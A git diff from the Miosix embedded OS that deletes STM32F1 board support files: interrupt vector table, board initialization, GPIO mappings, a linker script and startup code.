__attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_5_IRQHandler(); -void __attribute__((weak)) SystemInit_ExtMemCtl(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, /* Window Watchdog */ - PVD_IRQHandler, /* PVD through EXTI Line detect */ - TAMPER_IRQHandler, /* Tamper */ - RTC_IRQHandler, /* RTC */ - FLASH_IRQHandler, /* Flash */ - RCC_IRQHandler, /* RCC */ - EXTI0_IRQHandler, /* EXTI Line 0 */ - EXTI1_IRQHandler, /* EXTI Line 1 */ - EXTI2_IRQHandler, /* EXTI Line 2 */ - EXTI3_IRQHandler, /* EXTI Line 3 */ - EXTI4_IRQHandler, /* EXTI Line 4 */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_IRQHandler, /* DMA1 Channel 2 */ - DMA1_Channel3_IRQHandler, /* DMA1 Channel 3 */ - DMA1_Channel4_IRQHandler, /* DMA1 Channel 4 */ - DMA1_Channel5_IRQHandler, /* DMA1 Channel 5 */ - DMA1_Channel6_IRQHandler, /* DMA1 Channel 6 */ - DMA1_Channel7_IRQHandler, /* DMA1 Channel 7 */ - ADC1_2_IRQHandler, /* ADC1 & ADC2 */ - USB_HP_CAN1_TX_IRQHandler, /* USB High Priority or CAN1 TX */ - USB_LP_CAN1_RX0_IRQHandler, /* USB Low Priority or CAN1 RX0 */ - CAN1_RX1_IRQHandler, /* CAN1 RX1 */ - CAN1_SCE_IRQHandler, /* CAN1 SCE */ - EXTI9_5_IRQHandler, /* EXTI Line 9..5 */ - TIM1_BRK_IRQHandler, /* TIM1 Break */ - TIM1_UP_IRQHandler, /* TIM1 Update */ - TIM1_TRG_COM_IRQHandler, /* TIM1 Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM4_IRQHandler, /* TIM4 */ - I2C1_EV_IRQHandler, /* I2C1 Event */ - I2C1_ER_IRQHandler, /* I2C1 Error */ - I2C2_EV_IRQHandler, /* I2C2 Event */ - I2C2_ER_IRQHandler, /* I2C2 Error */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_IRQHandler, /* USART3 */ - EXTI15_10_IRQHandler, /* EXTI Line 15..10 */ - RTC_Alarm_IRQHandler, /* RTC Alarm through EXTI Line */ - USBWakeUp_IRQHandler, /* USB Wakeup from suspend */ - TIM8_BRK_IRQHandler, /* TIM8 Break */ - TIM8_UP_IRQHandler, /* TIM8 Update */ - TIM8_TRG_COM_IRQHandler, /* TIM8 Trigger and Commutation */ - TIM8_CC_IRQHandler, /* TIM8 Capture Compare */ - ADC3_IRQHandler, /* ADC3 */ - FSMC_IRQHandler, /* FSMC */ - SDIO_IRQHandler, /* SDIO */ - TIM5_IRQHandler, /* TIM5 */ - SPI3_IRQHandler, /* SPI3 */ - UART4_IRQHandler, /* UART4 */ - UART5_IRQHandler, /* UART5 */ - TIM6_IRQHandler, /* TIM6 */ - TIM7_IRQHandler, /* TIM7 */ - DMA2_Channel1_IRQHandler, /* DMA2 Channel 1 */ - DMA2_Channel2_IRQHandler, /* DMA2 Channel 2 */ - DMA2_Channel3_IRQHandler, /* DMA2 Channel 3 */ - DMA2_Channel4_5_IRQHandler, /* DMA2 Channel 4 and Channel 5 */ - 0,0,0,0,0,0,0,0, /* @0x130 */ - 0,0,0,0,0,0,0,0, /* @0x150 */ - 0,0,0,0,0,0,0,0, /* @0x170 */ - 0,0,0,0,0,0,0,0, /* @0x190 */ - 0,0,0,0,0,0,0,0, /* @0x1B0 */ - 0,0,0,0, /* @0x1D0 */ - reinterpret_cast(0xF1E0F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x High Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_5_IRQHandler = Default_Handler -#pragma weak SystemInit_ExtMemCtl = SystemInit_ExtMemCtl_Dummy - diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp deleted file mode 100644 index db5305ac3..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,180 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Yury Kuchura * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f1.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable clocks to all ports - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_IOPEEN | RCC_APB2ENR_IOPFEN | - RCC_APB2ENR_IOPGEN | RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - //Set ports - leds::led1::high(); - leds::led1::mode(Mode::OUTPUT); - leds::led2::high(); - leds::led2::mode(Mode::OUTPUT); - leds::led3::high(); - leds::led3::mode(Mode::OUTPUT); - leds::led4::high(); - leds::led4::mode(Mode::OUTPUT); - leds::led5::high(); - leds::led5::mode(Mode::OUTPUT); - - disp::backlight::mode(Mode::OUTPUT); - - disp::d0::mode(Mode::ALTERNATE); - disp::d1::mode(Mode::ALTERNATE); - disp::d2::mode(Mode::ALTERNATE); - disp::d3::mode(Mode::ALTERNATE); - disp::d4::mode(Mode::ALTERNATE); - disp::d5::mode(Mode::ALTERNATE); - disp::d6::mode(Mode::ALTERNATE); - disp::d7::mode(Mode::ALTERNATE); - disp::d8::mode(Mode::ALTERNATE); - disp::d9::mode(Mode::ALTERNATE); - disp::d10::mode(Mode::ALTERNATE); - disp::d11::mode(Mode::ALTERNATE); - disp::d12::mode(Mode::ALTERNATE); - disp::d13::mode(Mode::ALTERNATE); - disp::d14::mode(Mode::ALTERNATE); - disp::d15::mode(Mode::ALTERNATE); - disp::rd::mode(Mode::ALTERNATE); - disp::wr::mode(Mode::ALTERNATE); - disp::cs::mode(Mode::ALTERNATE); - disp::rs::mode(Mode::ALTERNATE); - - //Chip select to serial flash: setting it to 1 - spi1::nss::high(); - spi1::nss::mode(Mode::OUTPUT); - - //Touchscreen interrupt signal - spi2::touchint::pullup(); - spi2::ntouchss::mode(Mode::INPUT_PULL_UP_DOWN); - - //Configure buttons - buttons::wakeup::mode(Mode::INPUT_PULL_UP_DOWN); - buttons::wakeup::pullup(); - buttons::tamper::mode(Mode::INPUT_PULL_UP_DOWN); - buttons::tamper::pullup(); - - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); -/* - SCB->SCR |= SCB_SCR_SLEEPDEEP; - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - __NOP(); - __NOP(); - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - //FIXME: wakeup via PA.0 is not working - __WFI(); -*/ - NVIC_SystemReset(); - for(;;) ; //Never reach here -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h deleted file mode 100644 index 1f8e73e44..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio< GPIOF_BASE,6> led; - -inline void ledOn() -{ - led::low(); //led anode is at +3.3V -} - -inline void ledOff() -{ - led::high(); -} - -///\internal Pin connected to SD card detect -//typedef Gpio sdCardDetect; //Using grounded pin PB2-BOOT1 - Y.K. - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return sd::cardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h deleted file mode 100644 index 9b667446e..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,142 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -// -// All GPIOs are mapped here -// - -//LED -//typedef Gpio hwled; //Active high - -namespace miosix { - -//Display interface -namespace disp { -typedef Gpio backlight; - -typedef Gpio rd; -typedef Gpio wr; - -typedef Gpio nfcs; //nCS for AT45DB161B if present on TFT module -typedef Gpio sdcs; //CS for MMC_SPI if present on TFT module - -typedef Gpio cs; -typedef Gpio rs; - -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio d4; -typedef Gpio d5; -typedef Gpio d6; -typedef Gpio d7; -typedef Gpio d8; -typedef Gpio d9; -typedef Gpio d10; -typedef Gpio d11; -typedef Gpio d12; -typedef Gpio d13; -typedef Gpio d14; -typedef Gpio d15; -} -//MicroSD connections -namespace sd { -typedef Gpio cardDetect; -typedef Gpio d0; //Handled by hardware (SDIO) -typedef Gpio d1; //Handled by hardware (SDIO) -typedef Gpio d2; //Handled by hardware (SDIO) -typedef Gpio d3; //Handled by hardware (SDIO) -typedef Gpio clk; //Handled by hardware (SDIO) -typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b -} - -//USB connections -namespace usb { -typedef Gpio dm; //Handled by hardware (USB) D- -typedef Gpio dp; //Handled by hardware (USB) D+ -typedef Gpio detect; //1K pullup connected to 3.3V via bipolar PNP. - //Pull this pin down to enable detection if jumper is not set -} - -//SPI1 is connected to AT45DB011B (1Mbit) serial flash if J1 and J2 (DAC1 and DAC0) jumpers are set -namespace spi1 { -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio nss; -} - -//SPI2 is connected to ADS7843 touchscreen controller -namespace spi2 { -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio ntouchss; //used to select touch screen controller -typedef Gpio touchint; //touchscreen controller interrupt -} - -//I2C1 is connected to 24C02WI 256-byte EEPROM -namespace i2c1 { -typedef Gpio sda; -typedef Gpio scl; -} - -//Debug/bootloader serial port -namespace boot { -typedef Gpio detect; //BOOT1 (10k to ground) -typedef Gpio tx; //Handled by hardware (USART1) -typedef Gpio rx; //Handled by hardware (USART1) -} - -namespace leds { -typedef Gpio led1; -typedef Gpio led2; -typedef Gpio led3; -typedef Gpio led4; -typedef Gpio led5; -} - -namespace sound { -typedef Gpio buzzer; //if JP5 jumper is set (shared with boot::detect) -} - -namespace buttons { - typedef Gpio wakeup; - typedef Gpio tamper; - typedef Gpio user1; - typedef Gpio user2; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/stm32_512k+64k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/stm32_512k+64k_rom.ld deleted file mode 100644 index 67c801af1..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/stm32_512k+64k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/core/stage_1_boot.cpp deleted file mode 100644 index 7a876948c..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/core/stage_1_boot.cpp +++ /dev/null @@ -1,367 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - #ifndef __CODE_IN_XRAM - memcpy(data, etext, edata-data); - #else //__CODE_IN_XRAM - (void)etext; //Avoid unused variable warning - (void)data; - (void)edata; - #endif //__CODE_IN_XRAM - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x68000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x68000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x68000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * 